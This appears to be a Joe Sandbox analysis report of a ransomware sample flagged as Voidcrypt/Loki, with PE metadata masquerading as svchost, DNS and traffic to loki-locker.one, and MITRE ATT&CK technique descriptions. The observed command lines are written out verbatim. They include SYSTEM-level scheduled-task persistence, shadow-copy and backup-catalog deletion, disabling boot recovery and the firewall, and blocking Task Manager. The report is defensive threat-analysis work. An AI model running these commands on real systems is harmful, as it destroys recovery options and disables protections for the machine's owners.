3?*?6	0x2000	0x1289c	0x12a00	False	0.519505033557	data	6.35960406365	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
)f$Tn'l	0x16000	0x1289c	0x12a00	False	1.00040635487	data	7.99716714963	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.text	0x2a000	0x4e168	0x4e200	False	0.6897875	data	7.26046698539	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x7a000	0x5a8	0x600	False	0.423177083333	data	4.09438555612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.RVA	0x7e000	0xdb	0x200	False	0.125	data	0.769849086198	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x7a0a0	0x31c	data
RT_MANIFEST	0x7a3bc	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2021
Assembly Version	2.1.0.0
InternalName	svchost.exe
FileVersion	2.1.0.0
CompanyName	Microsoft
LegalTrademarks
Comments
ProductName	svchost
ProductVersion	2.1.0.0
FileDescription	svchost
OriginalFilename	svchost.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/26/21-09:34:16.565127	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.1	192.168.2.3
12/26/21-09:35:16.555154	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.1	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2021 09:34:48.493751049 CET	50500	80	192.168.2.3	91.223.82.6
Dec 26, 2021 09:34:51.510622978 CET	50500	80	192.168.2.3	91.223.82.6
Dec 26, 2021 09:34:57.523931980 CET	50500	80	192.168.2.3	91.223.82.6
Dec 26, 2021 09:35:54.241844893 CET	51298	80	192.168.2.3	91.223.82.6
Dec 26, 2021 09:35:57.247776031 CET	51298	80	192.168.2.3	91.223.82.6
Dec 26, 2021 09:36:03.248244047 CET	51298	80	192.168.2.3	91.223.82.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2021 09:34:16.565053940 CET	56845	274	192.168.2.3	192.168.2.1
Dec 26, 2021 09:34:48.450663090 CET	57875	53	192.168.2.3	8.8.8.8
Dec 26, 2021 09:34:48.477994919 CET	53	57875	8.8.8.8	192.168.2.3
Dec 26, 2021 09:35:16.555114031 CET	56845	274	192.168.2.3	192.168.2.1
Dec 26, 2021 09:35:54.184185982 CET	55102	53	192.168.2.3	8.8.8.8
Dec 26, 2021 09:35:54.212151051 CET	53	55102	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 26, 2021 09:34:16.565126896 CET	192.168.2.1	192.168.2.3	831d	(Port unreachable)	Destination Unreachable
Dec 26, 2021 09:35:16.555154085 CET	192.168.2.1	192.168.2.3	830e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 26, 2021 09:34:48.450663090 CET	192.168.2.3	8.8.8.8	0xd306	Standard query (0)	loki-locker.one	A (IP address)	IN (0x0001)
Dec 26, 2021 09:35:54.184185982 CET	192.168.2.3	8.8.8.8	0x5916	Standard query (0)	loki-locker.one	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 26, 2021 09:34:48.477994919 CET	8.8.8.8	192.168.2.3	0xd306	No error (0)	loki-locker.one		91.223.82.6	A (IP address)	IN (0x0001)
Dec 26, 2021 09:35:54.212151051 CET	8.8.8.8	192.168.2.3	0x5916	No error (0)	loki-locker.one		91.223.82.6	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Unlockpls.dr01@protonmail.com-1.exe PID: 7148 Parent PID: 5844

General

Start time:	09:35:10
Start date:	26/12/2021
Path:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe"
Imagebase:	0x8e0000
File size:	476160 bytes
MD5 hash:	3504DD5CCAEDEF6D34D7E9090458E58B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Start time:	09:36:04
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	09:36:06
Start date:	26/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	09:36:07
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
Imagebase:	0xab0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	09:36:10
Start date:	26/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	09:36:11
Start date:	26/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA4A.tmp" "c:\ProgramData\CSC349A74A79F2A4776AA44A5AABA325CC.TMP"
Imagebase:	0xa10000
File size:	43176 bytes
MD5 hash:	C09985AE74F0882F208D75DE27770DFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Start time:	09:36:13
Start date:	26/12/2021
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe"
Imagebase:	0x1e0000
File size:	476160 bytes
MD5 hash:	3504DD5CCAEDEF6D34D7E9090458E58B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 00000014.00000002.442723481.00000000025EC000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 71%, ReversingLabs
Reputation:	low

Start time:	09:36:16
Start date:	26/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	09:36:17
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\vssadmin.exe
Wow64 process (32bit):	true
Commandline:	vssadmin delete shadows /all /quiet
Imagebase:	0x3c0000
File size:	110592 bytes
MD5 hash:	7E30B94672107D3381A1D175CF18C147
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	09:36:19
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	09:36:23
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	09:36:24
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	09:36:25
Start date:	26/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	09:36:26
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall set currentprofile state off
Imagebase:	0xe40000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	09:36:36
Start date:	26/12/2021
Path:	C:\ProgramData\winlogon.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\winlogon.exe"
Imagebase:	0x840000
File size:	476160 bytes
MD5 hash:	3504DD5CCAEDEF6D34D7E9090458E58B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 00000030.00000002.493373542.0000000002CF0000.00000004.00000001.sdmp, Author: Joe Security

Start time:	09:36:52
Start date:	26/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat" "
Imagebase:	0x7ff7e3a80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Start time:	09:36:53
Start date:	26/12/2021
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Imagebase:	0x7ff66c030000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Start time:	09:37:13
Start date:	26/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Windows\system32\config\systemprofile\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	09:37:14
Start date:	26/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Unlockpls.dr01@protonmail.com-1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre